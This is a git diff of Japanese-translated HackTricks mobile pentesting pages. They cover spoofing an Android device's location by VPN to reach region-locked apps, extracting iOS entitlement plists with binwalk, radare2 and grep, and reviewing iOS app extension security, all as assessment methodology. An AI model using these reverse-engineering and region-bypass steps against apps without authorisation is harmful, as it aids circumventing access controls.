Translated ['mobile-pentesting/android-app-pentesting/spoofing-your-loca

This commit is contained in:
Translator 2024-01-12 09:11:05 +00:00
parent 8be34067f1
commit b42d3be1d4
14 changed files with 643 additions and 712 deletions

View file

@ -1,46 +1,42 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* あなたの**会社をHackTricksに広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>
**[https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)**からの情報をコピーしました。
**情報はこちらからコピーしました** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)
多くの場合、評価したいアプリケーションは特定の国でのみ許可されているため、Androidデバイスにそのアプリケーションをインストールすることはできません。しかし、そのアプリケーションが許可されている国に位置情報を偽装できれば、そのアプリケーションにアクセスできます。以下にその手順を示します。
多くの場合、評価したいアプリケーションが特定の国でのみ許可されているため、そのアプリケーションをAndroidデバイスにインストールすることができません。しかし、その国にあなたの位置を偽装することができれば、そのアプリケーションにアクセスすることができます。以下はその手順です。
* まず、Google Playストアから**Hotspot Shield Free VPN Proxy**をインストールします。\
* まず、Google Play Storeから**Hotspot Shield Free VPN Proxy**をインストールします。\
![](https://i.imgur.com/0XrmuKY.png)
* それを使用して接続し、必要な国を選択します。\
![](https://i.imgur.com/Z0WHrZX.png)
* 次に、**設定** >> **アプリ** >> **Google Playストア**に移動し、**強制停止**をタップし、次に**データをクリア**します。\
* 次に、**設定** >> **アプリ** >> **Google Play Store**に移動し、**強制停止**をタップした後、**データを消去**をタップします。\
![](https://i.imgur.com/sjFrr67.png)
* **Google Playストア**を開き、その国でのみ利用可能なアプリケーションを検索してインストールできるようになります。\
* **Google Play Store**を開き、その国でのみ利用可能なアプリケーションを検索してインストールすることができるようになります。\
![](https://i.imgur.com/zfdhCBI.png)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* あなたの**会社をHackTricksに広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>

View file

@ -1,29 +1,27 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>
**ページはここからコピー** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
**ページコピー** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
アプリのIPAファイルまたは単にジェイルブレイクされたデバイスにインストールされたアプリしか持っていない場合、通常は`.entitlements`ファイルを見つけることはできません。これは`embedded.mobileprovision`ファイルの場合も同様です。それでも、アプリのバイナリから自分でエンタイトルメントプロパティリストを抽出することができるはずです「iOS基本セキュリティテスト」の章、「アプリバイナリの取得」で説明したように、事前に取得したもの)。
アプリのIPAを持っているだけであったり、脱獄したデバイスにインストールされたアプリしかない場合、通常は`.entitlements`ファイルを見つけることができません。これは`embedded.mobileprovision`ファイルにも当てはまるかもしれません。それでも、アプリバイナリからエンタイトルメントのプロパティリストを自分で抽出することができるはずですこれは「iOS基本セキュリティテスト」の章、セクション「アプリバイナリの取得」で説明されているように、以前に取得したものです)。
次の手順は、暗号化されたバイナリを対象にしている場合でも機能するはずです。何らかの理由で機能しない場合は、iOSバージョンと互換性のあるClutch、frida-ios-dumpなどを使用してアプリを復号化して抽出する必要があります。
以下のステップは、暗号化されたバイナリを対象としても機能するはずです。何らかの理由で機能しない場合は、ClutchiOSバージョンと互換性がある場合、frida-ios-dumpなどを使用してアプリを復号化して抽出する必要があります。
**アプリバイナリからエンタイトルメントプリストを抽出する**
**アプリバイナリからエンタイトルメントPlistを抽出する**
コンピュータにアプリバイナリがある場合、binwalkを使用してすべてのXMLファイル`-y=xml`を抽出する方法があります
コンピュータにアプリバイナリがある場合、binwalkを使用してすべてのXMLファイルを抽出する(`-e`)アプローチがあります`-y=xml`
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -32,7 +30,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1430180 0x15D2A4 XML document, version: "1.0"
1458814 0x16427E XML document, version: "1.0"
```
または、radare2`-qc`は、1つのコマンドを実行して終了するための_静かに_オプションを使用して、アプリのバイナリ`izz`内に含まれる「PropertyList」`~PropertyList`)を含むすべての文字列を検索することもできます
または、radare2を使用してアプリバイナリ内のすべての文字列を検索し(`izz`)、"PropertyList"を含むものを探すことができます(`~PropertyList``-qc`は_静かに_コマンドを実行して終了します
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
@ -45,11 +43,11 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n
<dict>\n\t<key>cdhashes</key>...
```
両方の場合binwalkまたはradare2で、同じ2つの`plist`ファイルを抽出できました。最初のファイル0x0015d2a4を調査すると、[Telegramの元の権限ファイル](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements)を完全に回復できました
(binwalkまたはradare2のどちらの場合でも)、同じ2つの`plist`ファイルを抽出することができました。最初のファイル(0x0015d2a4)を調べると、[Telegramの元のエンタイトルメントファイルを完全に回復することができた](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements)ことがわかります
> 注意`strings`コマンドはここでは役に立ちません。バイナリ上で直接`grep`コマンドを使用するか、radare2`izz`/rabin2`-zz`)を使用してください
> 注意: `strings`コマンドはここでは役に立ちません。この情報を見つけることができないためです。バイナリに直接grepを`-a`フラグと共に使用するか、radare2(`izz`)/rabin2(`-zz`)を使用する方が良いでしょう
ジェイルブレイクされたデバイス上のアプリバイナリにアクセスする場合SSH経由で、`grep`コマンドを`-a, --text`フラグすべてのファイルをASCIIテキストとして扱うとともに使用できます。
脱獄済みデバイス上のアプリバイナリにアクセスする場合(例: SSH経由)、grepを`-a, --text`フラグ(すべてのファイルをASCIIテキストとして扱う)と共に使用できます:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
@ -61,22 +59,22 @@ $ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
<array>
...
```
`-A num, --after-context=num`フラグを使用して、表示する行数を増減させてみてください。また、jailbroken iOSデバイスにもインストールされている場合、上記で紹介したツールを使用することもできます。
```
`-A num, --after-context=num` フラグを使って、表示する行数を増やしたり減らしたりしてみてください。上で紹介したツールも、脱獄したiOSデバイスにインストールしてあれば使用できます。
> この方法は、アプリのバイナリがまだ暗号化されている場合でも機能するはずですApp Storeのいくつかのアプリでテストされました)。
> この方法は、アプリのバイナリがまだ暗号化されていても機能するはずです複数のApp Storeアプリに対してテストされました)。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォロー**してください。
* **HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
```

View file

@ -1,60 +1,58 @@
# iOSアプリ拡張機能
# iOSアプリ拡張
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
</details>
**コンテンツは**[**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions) **からコピーされました**
**以下の内容は** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions) **からコピーされました**
アプリの拡張機能を使用すると、ユーザーが他のアプリやシステムとやり取りしている間に、アプリがカスタムの機能やコンテンツを提供できます。いくつかの注目すべきものは次のとおりです。
アプリ拡張は、他のアプリやシステムとのやり取りをしている間に、カスタム機能やコンテンツをユーザーに提供することをアプリに可能にします。特筆すべきものには以下があります:
* **カスタムキーボード**iOSシステムキーボードをすべてのアプリで使用するためのカスタムキーボードに置き換えます。
* **共有**:共有ウェブサイトに投稿したり、他の人とコンテンツを共有したりします。
* **Today****ウィジェット**とも呼ばれ、通知センターのTodayビューでコンテンツを提供したり、クイックタスクを実行したりします。
* **カスタムキーボード**: iOSシステムキーボードをカスタムキーボードに置き換え、すべてのアプリで使用します。
* **共有**: 共有ウェブサイトに投稿するか、他の人とコンテンツを共有します。
* **今日**: **ウィジェット**とも呼ばれ、通知センターの今日のビューでコンテンツを提供したり、クイックタスクを実行します。
たとえば、ユーザーは_ホストアプリ_でテキストを選択し、「共有」ボタンをクリックし、リストから「アプリ」またはアクションを選択します。これにより、_含まれるアプリ_の_アプリ拡張機能_がトリガーされます。アプリ拡張機能ホストアプリのコンテキスト内でそのビューを表示し、ホストアプリが提供するアイテム(この場合は選択したテキスト)を使用して特定のタスク(たとえば、ソーシャルネットワークに投稿する)を実行します。これは、[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13)のこの図が非常に良く要約しています。
例えば、ユーザーが_ホストアプリ_でテキストを選択し、「共有」ボタンをクリックしてリストから「アプリ」またはアクションを選択します。これにより、_含まれるアプリ_の_アプリ拡張_がトリガーされます。アプリ拡張はホストアプリのコンテキスト内でビューを表示し、ホストアプリが提供するアイテムこの場合は選択されたテキスト)を使用して特定のタスク(例えばソーシャルネットワークに投稿する)を実行します。この点を非常によくまとめた[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13)の写真をご覧ください:
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media)
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media)
### **セキュリティに関する考慮事項**
### **セキュリティ上の考慮事項**
セキュリティの観点から重要な点は次のとおりです。
セキュリティの観点から重要な点は以下の通りです:
* **アプリの拡張機能は、含まれるアプリと直接通信しない**(通常、含まれるアプリの拡張機能が実行されている間は実行されていません)。
* **アプリ拡張機能**と**ホストアプリ**は**プロセス間通信**を介して**通信**します。
* **アプリの拡張機能の**含まれるアプリと**ホストアプリは**まったく**通信しません**
* **Todayウィジェット**(他のアプリ拡張機能タイプではない)は、`NSExtensionContext`クラスの`openURL:completionHandler:`メソッドを呼び出すことで、システムに含まれるアプリを開くように要求できます。
* 任意の**アプリ拡張機能**とその**含まれるアプリ**は、プライベートに定義された共有コンテナ内の共有データにアクセスできます
* アプリの拡張機能は、HealthKitなどの一部のAPIにアクセスできません
* AirDropを使用してデータを受信することはできませんが、データを送信することはできます。
* **長時間実行されるバックグラウンドタスク**は許可されていませんが、アップロードやダウンロードは開始できます。
* アプリ拡張機能、iMessageアプリの場合を除き、iOSデバイスのカメラやマイクにアクセスできません。
* **アプリ拡張は、含まれるアプリと直接通信しません**(通常、含まれるアプリ拡張が実行されている間は実行されていません)。
* **アプリ拡張**と**ホストアプリ**は**プロセス間**通信を介して通信します。
* **アプリ拡張**の含まれるアプリと**ホストアプリ**は全く通信しません
* **今日**の**ウィジェット**(他のアプリ拡張タイプは除く)は、`NSExtensionContext`クラスの`openURL:completionHandler:`メソッドを呼び出すことで、システムに含まれるアプリを開くように要求できます。
* 任意の**アプリ拡張**とその**含まれるアプリ**は、プライベートに定義された共有コンテナ内で共有データに**アクセスできます**
* アプリ拡張は**一部のAPIにアクセスできません**。例えば、HealthKitです
* AirDropを使用してデータを**受信することはできません**が、データの送信は可能です。
* 長時間実行されるバックグラウンドタスクは許可されていませんが、アップロードやダウンロードを開始することはできます。
* アプリ拡張はiOSデバイスのカメラやマイクに**アクセスできません**iMessageアプリ拡張を除く
### 静的
### 静的
#### アプリにアプリ拡張機能が含まれているかの確認
#### **アプリにアプリ拡張が含まれているかの確認**
元のソースコードがある場合は、Xcodecmd+shift+fで`NSExtensionPointIdentifier`のすべての出現箇所を検索するか、「Build Phases / Embed App extensions」を確認できます。
元のソースコードを持っている場合は、Xcodeで`NSExtensionPointIdentifier`のすべての出現を検索cmd+shift+fするか、"Build Phases / Embed App extensions"を確認してください:
![](<../../.gitbook/assets/image (496).png>)
そこには、すべての埋め込まれたアプリ拡張機能の名前が`.appex`で続いて表示されます。これで、プロジェクト内の個々のアプリ拡張機能に移動できます。
そこには、`.appex`で続くすべての埋め込まれたアプリ拡張の名前が見つかります。これで、プロジェクト内の個々のアプリ拡張にナビゲートできます。
元のソースコードがない場合:
元のソースコードを持っていない場合:
アプリバンドルIPAまたはインストールされたアプリ内のすべてのファイルの中から`NSExtensionPointIdentifier`を検索します。
アプリバンドルIPAまたはインストールされたアプリ内のすべてのファイルの中で`NSExtensionPointIdentifier`をgrepします。
```bash
$ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/
Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches
@ -63,7 +61,7 @@ Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist
Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches
Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches
```
また、SSH経由でアクセスすることもできます。アプリのバンドルを見つけ、デフォルトでそこに配置されているすべてのプラグインをリストアップすることができます。または、objectionを使用して行うこともできます。
SSH経由でもアクセスでき、アプリバンドルを見つけて、内部のPlugInsをすべてリストアップすることができますデフォルトではそこに配置されていますまたは、objectionを使用して行うこともできます
```bash
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
@ -77,11 +75,11 @@ Directory 493 None True False Widget.appex
Directory 493 None True False Share.appex
Directory 493 None True False SiriIntents.appex
```
#### **サポートされているデータタイプの特定**
#### **サポートされるデータタイプの特定**
これは、ホストアプリとのデータ共有ShareやAction Extensionsを介してに重要です。ユーザーがホストアプリで特定のデータタイプを選択し、ここで定義されたデータタイプと一致する場合、ホストアプリは拡張機能を提供します。これは、`UIActivity`を介したデータ共有とは異なる点に注意する価値があります。`UIActivity`ではドキュメントタイプを定義する必要がありましたが、それにはUTIも使用しました。そのため、アプリには拡張機能が必要ありません。`UIActivity`のみを使用してデータを共有することが可能です。
これは、ホストアプリShareやAction Extensions経由と共有されるデータにとって重要です。ユーザーがホストアプリであるデータタイプを選択し、ここで定義されたデータタイプと一致する場合、ホストアプリは拡張機能を提供します。これと`UIActivity`を使用したデータ共有との違いに注意する価値があります。そこでは、UTIを使用してドキュメントタイプを定義する必要がありました。そのために拡張機能を持っている必要はありません。`UIActivity`のみを使用してデータを共有することも可能です。
アプリ拡張の`Info.plist`ファイルを調査し、`NSExtensionActivationRule`を検索します。このキーは、サポートされているデータやサポートされるアイテムの最大数などを指定します。例えば:
アプリ拡張の`Info.plist`ファイルを調べて、`NSExtensionActivationRule`を探します。そのキーは、サポートされるデータや例えばサポートされるアイテムの最大数などを指定します。例えば:
```markup
<key>NSExtensionAttributes</key>
<dict>
@ -96,40 +94,40 @@ Directory 493 None True False SiriIntents.appex
</dict>
</dict>
```
ここに存在するデータ型のみがサポートされ、`MaxCount` として `0` を持たないものがサポートされます。ただし、与えられた UTI を評価するために、所謂述語文字列を使用することでより複雑なフィルタリングが可能です。詳細な情報については、[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW8) を参照してください。
ここに存在するデータタイプのみがサポートされ、`MaxCount`が`0`でない場合に限ります。しかし、与えられたUTIを評価するいわゆる述語文字列を使用することで、より複雑なフィルタリングが可能です。詳細については、[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8)を参照してください。
**含まれるアプリとのデータ共有の確認**
**含まれるアプリとのデータ共有のチェック**
アプリの拡張機能とその含まれるアプリは、直接的なアクセスを持ちません。ただし、データ共有は有効にすることができます。これは、["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW19) [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API を使用して行われます。[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW11) の図を参照してください:
